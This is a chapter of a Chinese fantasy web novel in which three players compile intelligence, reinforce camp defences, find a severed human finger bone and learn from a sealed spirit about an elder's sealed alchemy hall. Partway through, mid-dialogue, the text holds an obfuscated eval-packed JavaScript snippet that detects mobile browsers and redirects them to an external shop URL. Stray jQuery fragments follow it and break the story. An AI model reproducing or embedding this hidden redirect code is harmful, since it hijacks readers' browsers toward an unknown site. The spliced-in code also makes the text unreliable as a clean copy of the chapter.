第十一章
温晚的情报系统是在第九天夜里正式运转起来的。
说“系统”可能太正式了。实际情况是,她在营地角落里用几块平整的石头搭了一张简易工作台,把记录仪支在石台上,屏幕调到最亮,然后盘腿坐在地上,开始一条一条翻阅世界频道的聊天记录。她已经连续翻了三个晚上,眼睛熬得发红,但手指在屏幕上划动的速度一点没慢。苏然从她身后经过,扫了一眼屏幕上的内容——密密麻麻的编号、坐标、时间戳和备注,分类标签多达十几种。
“你什么时候开始做这个的?”苏然问。
“新手期。”温晚头也不抬,“你发第一篇攻略那天。”
苏然没说话。她在温晚旁边蹲下来,看着她操作。温晚的界面切得飞快,每一秒都在不同的信息窗口之间跳转——世界频道的公开消息、私信对话、交易行留言,甚至还有几个她主动联系的“线人”发来的定向情报。她把这些零散的信息逐一归档:哪个编号在什么时间提到了什么地点,哪个玩家描述过某种异常现象,哪个坐标被多次提及但始终无人验证。每一个条目后面都跟着一个颜色标签——绿色是已确认,黄色是待验证,红色是存疑。
“分类标准是什么?”苏然问。
“绿色是我自己验证过或者有至少两个独立信源交叉确认的。黄色是单一信源但描述足够具体、逻辑自洽的。红色是只有模糊传闻、没有任何实质细节的。”温晚的手指在屏幕上点了几下,调出一个统计页面,“目前青木林海范围内,绿色条目三十七条,黄色八十二条,红色一百五十三条。红色太多了,我得再筛一轮。”
苏然看着那个统计页面。三十七条已确认情报,八十二条待验证线索。这个数据量放在十万人的频道里不算大,但如果全部来自一个人连续三晚的手动整理,工作量相当于一篇硕士论文的文献综述。
“你每天睡多久?”苏然问。
“够的。”温晚说。然后她打了个哈欠,眼眶里的红血丝在屏幕蓝光的映照下格外明显。苏然没有继续追问睡眠问题。她从背篓里拿出那包野胡椒叶,放在温晚的工作台旁边。“提神的。嚼着比干坐着强。”
温晚看了一眼那包叶子,又看了一眼苏然,嘴角抿出一个不太明显的弧度。她没有说谢谢,只是拆开叶子嚼了一片,然后继续埋头整理情报。苏然站起来走回自己的位置,在经过林朔身边时停了一步。林朔坐在营地外围的拒马上,背对着篝火,面朝黑暗的林地。他的嘴唇动了一下,似乎想说点什么,但最终还是沉默。苏然没有追问,继续往篝火边走。她隐约觉得林朔的沉默不是针对她,而是今晚的某个时刻勾起了他不想碰的东西。是什么,她暂时没有足够的数据去判断,但她记住了这个时间点。
第十天清晨,温晚顶着一头乱糟糟的马尾把一份完整的情报分类递到了苏然面前。不是零散的几条,是一整套用颜色编码、按可信度和空间位置双重排序的情报地图。苏然接过来,一页一页翻。大部分内容她之前断断续续听温晚提过,但完整的成体系版本和碎片信息完全不同——能从中看出空间分布的规律。
她的目光停在一条黄色条目上。
“藤蔓覆盖的石制建筑。东北方向,约半天路程。坐标来源:交易行私信(编号未记录),与另一独立信源交叉验证。备注:三名以上玩家报告听到‘叹息声’,其中一人描述为‘女人的叹息’。”
这条情报的其他细节也很有意思。报告叹息声的玩家分散在不同区域,但他们都曾在藤蔓区附近活动过——时间不同,路线不同,却描述出了高度一致的声音特征。如果是编造的,不可能在细节上如此统一。她用指尖在“女人的叹息”这几个字上敲了敲,把这条情报从“待验证”升到了“高度可能”。
“所有提到‘异常声响’的情报一共有几条?”她问温晚。
温晚翻了翻统计页面:“十三条。其中八条在青木林海中层区域。”
“把这八条的坐标全部标注在地图上。”
温晚照做了。她在手环投射出的区域地图上逐个点亮坐标,每一个坐标点都标注了报告时间和声音类型——有的是“敲击声”,有的是“低语”,有的是“叹息”。八个坐标点散布在地图上,看起来毫无规律。
苏然盯着那些散点看了很久。
然后她拿起炭笔,开始在地图上连线。不是随便连。她先在每个坐标旁标注了报告时间,然后按时间顺序用箭头串联。箭头的方向形成了一条明显的轨迹——从外向内,从分散到集中,所有路径最终汇聚向东北方向一个共同的区域。那个汇聚点,恰好落在“藤蔓覆盖的石制建筑”所在的位置上。
“异常声响的报告时间有先后顺序,”苏然指着那些箭头,“最早的来自外层,然后是中层边缘,最近一周全都集中在这一带。这不是随机分布,是某种扩散——或者说,是某种被压抑的信号正在逐渐增强。”她把炭笔放下,在那个汇聚点旁边写了两个字:遗迹。“多重独立信源指向同一区域,且每个信源提供的细节可以互相印证但不存在交叉污染。从概率上看,假阳性的可能性低于百分之五。”
温晚盯着那张布满箭头的地图,脑子嗡了一下,不是害怕,是那种被当面演示了一遍自己收集的所有碎片怎么拼成一幅完整地图的震撼。她把这种感受默默收好,看着苏然的眼睛,很认真地问:“所以我们需要去这里。”
“不是需要,”苏然说,“是必须。”
系统提示在她话音落下的同时响起。
【支线任务:情报先锋——已完成。检测到玩家已验证三条以上关于修仙遗迹的情报。评价:S。奖励:下品灵石×3、遗迹探测符×1。注:遗迹探测符为一次性消耗品,激活后可在三十步范围内感应遗迹入口的灵力波动。探测范围有限,请谨慎使用。】
苏然点开背包,把探测符的图标翻出来看了一眼。一张泛黄的符纸,上面绘制的符文和她学过的数脉阵修符文同源,但更简化,像是某种量产版本。她没有立刻激活它——一次性道具必须在最需要的时候使用,提前浪费是蠢材行为。
“这个怎么用?”温晚凑过来看着探测符的图标。
“靠近目标区域后激活,能感应到入口的灵力波动。范围三十步,不算大,但够用。”
“那我们什么时候出发?”
“后天。”苏然关掉背包界面,看向营地的防御阵法,“走之前我必须把困阵叠加上去。营地防御不能只靠预警。”
接下来的一天半,苏然几乎没有离开过营地。她把之前预留的阵旗节点全部激活,在预警阵的基础上叠加了一层困阵。困阵比预警阵复杂得多,需要四面阵旗配合四个方向的灵力节点形成闭环,任何一个节点的灵力运转出错都会导致整个困阵失效。她花了整整一个下午调试节点之间的能量平衡。数脉真解里关于复合阵法的记载不多,大部分内容都在残卷的缺失部分里。她只能靠自己在预警阵上的经验去推导困阵的节点逻辑,反复测试,反复修正。每次调试失败,她就在树皮上记一笔——节点间距多了半寸,灵力流速慢了零点三秒,能量衰减比预期高百分之五。这些看起来不起眼的误差,积累到第三次调试时终于被全部修正。四面阵旗同时亮起,困阵闭环成功。
系统评价更新:营地防御评分68分。评价:A级。
她在营地里做了最后一件事——把基础阵法的激活步骤写在几张树皮上,每一张都写得极简,只有步骤没有原理。她把树皮交给温晚:“万一探索期间营地出了问题,你按这个顺序激活阵法。不要问为什么,照做就行。”
温晚接过树皮,低头看着上面密密麻麻的步骤说明,问她为什么是自己。苏然已经转身去收拾背篓了,头也没回地扔下一句:“因为你最不可能把顺序记错。情报官的职业素养。”
温晚把那几张树皮压在记录仪下面,压得很平,像压一张随时可能要用的遗嘱。
出发前一天,林朔单独去侦察了目标区域的外围地形。他不让任何人跟着,苏然也没有坚持——侦察兵的工作需要绝对安静,多一个人在就多一个变量。他走了一整天,傍晚时分才回来,带回了比任何地图都精确的情报。
“藤蔓区入口有两棵交叉的巨木,形成了一个天然拱门。拱门后面是一面石墙,高度大约四米,被藤蔓覆盖了至少八成。石墙上有刻痕,太厚看不清内容。周围半径五百米内没有大型污染兽的活动痕迹——不是因为那片区域安全,而是因为有什么东西让它们不敢靠近。”
“什么东西?”温晚问。
“不知道。”林朔的眼神暗了一瞬,“但我在拱门外五十米处发现了这个。”他从口袋里掏出一块碎骨,放在众人面前。不是动物的骨头。太小了。是一根人类的指骨,断面干净,没有啮齿类啃食的痕迹。不是被咬断的。是被切断的。
篝火边的空气突然凝固了。
“还有其他人类遗骸吗?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17872099|212316||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”苏然问。
“没有。方圆五百米都搜过了,只有这一根。”
只有一个可能:指骨的主人进了遗迹,没有出来,而指骨是某个东西拖到外面后丢下的。不是吃掉。是丢弃。像猫玩弄猎物后留下的残骸。
苏然把指骨翻了个面,在断面处发现了一道极细的黑色纹路。不是裂纹,是某种残留的能量痕迹。她用灵力探入那道纹路,下一秒就收回了灵力——那道纹路里的能量属性她见过。和她之前在遗迹里接触过的魔器碎片污染属于同一种能量特征,但浓度更高,更纯粹。
“这里面的东西,”她把指骨放回地面,“不是妖兽。”
夜幕完全落下时,苏然坐在篝火边,手里握着玉简。白天布置困阵消耗了她大量灵力,手指还在微微发抖,但她没有休息。她的灵力探入玉简,沿着封印的纹路缓慢描摹。这一次封印没有排斥她。那道古老的阵法在她的灵力触碰下微微发光,然后裂开了一道极细的缝隙。一个声音从缝隙中渗出,很轻,像一个人隔着厚厚的水层在说话,声音细弱到几乎无法辨认性别,但这一次她能听清楚完整的句子了。
“你身上有虞师伯的阵纹气息。你是数脉一脉的传人?”
苏然在意识中回应:是。我叫苏然。不是这个世界的人,是被一个叫“系统”的东西传送过来的。现在在青木林海,东北方向藤蔓覆盖的遗迹外面。你叫什么名字?
长久的沉默。然后那个声音再次响起,比刚才更清晰,带着某种被时间磨得极薄的苦涩:“我叫顾辞。太虚宗守阵人一脉,末代弟子。你刚才说的那个遗迹,藤蔓覆盖的建筑——那是霍长老的丹房。”她顿了顿,“你们要小心。霍长老的丹房里封着一枚魔器碎片。当年内乱时,有人想把那枚碎片偷出来,触发了霍长老设下的禁制。丹房从此被封,没有人再进去过。”
苏然问她里面有什么。顾辞的声音变得更轻了,像是回忆本身在消耗她残存的灵力。
“霍长老的丹方,数不清的丹药,还有他那尊青木鼎——太虚宗最好的丹炉。还有他的尸体。他是守着那枚碎片,活活耗尽灵力而死的。”顾辞的声音在最后一句话上几乎碎掉,“他是个好人。他不该那样死的。”
苏然沉默了片刻。她有很多问题想问——禁制的类型、魔器碎片的强度、丹房内部的机关布局——但在这一瞬间,她听到的不是情报,是一个人在万年之后依然无法平静的悲伤。她压下了那些问题,只问了一句:如果封印完全解开,你能离开玉简吗?
“不能,”顾辞说,“我的身体已经没了。我只能附在这盏灯里——它是我生前的本命法器。如果你能帮我找到它,我可以跟你走。”
苏然睁开眼睛。篝火跳动的光影映在她的瞳孔里。她看着手中的玉简,符文在火光的映照下微微流转,像某种沉默的呼吸。她做了决定。不是基于数据,不是基于概率。是基于一个她在数学里从不使用的变量——信任。但她愿意给这个变量一个机会。
第十一天清晨,天还没亮。苏然站在营地中央,最后检查了一遍阵法。四面阵旗的灵力运转正常,困阵和预警阵的节点全部在线,岩壁上方的死角已经用新增的第五面阵旗补全。温晚把情报档案备份了一份,用油布裹好,藏在营地地窖最深处的石缝里。她蹲在地窖里裹油布的时候,动作比任何时候都慢,像是在藏一件比她生命更重要的东西。林朔背上了最大的背包,里面装满了三天的食物、备用水、攀爬绳索和他自己打磨的三把备用短刀。他站在营地边缘,面朝东北方向,右手搭在刀柄上,整个人安静得像一尊石雕,但苏然能感觉到他全身的肌肉都绷到了临战状态。
“出发。”苏然说。
三个人穿过薄雾弥漫的林地,沿着林朔昨天侦察过的路线行进。晨光从树冠的缝隙中漏下来,在林地上投出摇晃的光斑。走了约两个小时后,苏然的脚步突然顿了一下。不是前面有什么危险——是她的感知力捕捉到了一个不该出现的信号。在营地那个方向。她留在营地里的玉简——正确地说,是玉简里的顾辞——刚才主动向她发出了一道极轻的灵力波动。不是求救。是两个字。
“小心。”
苏然站在原地,回头看了一眼营地的方向。层层叠叠的树冠遮住了一切。她转回头,继续往前走。顾辞在主动保护她。一个被封印了万年的残魂,用她残存的灵力,跨越了她还不知道能跨越的距离,提醒她要小心。这个变量,她没有纳入任何模型。但她记住了。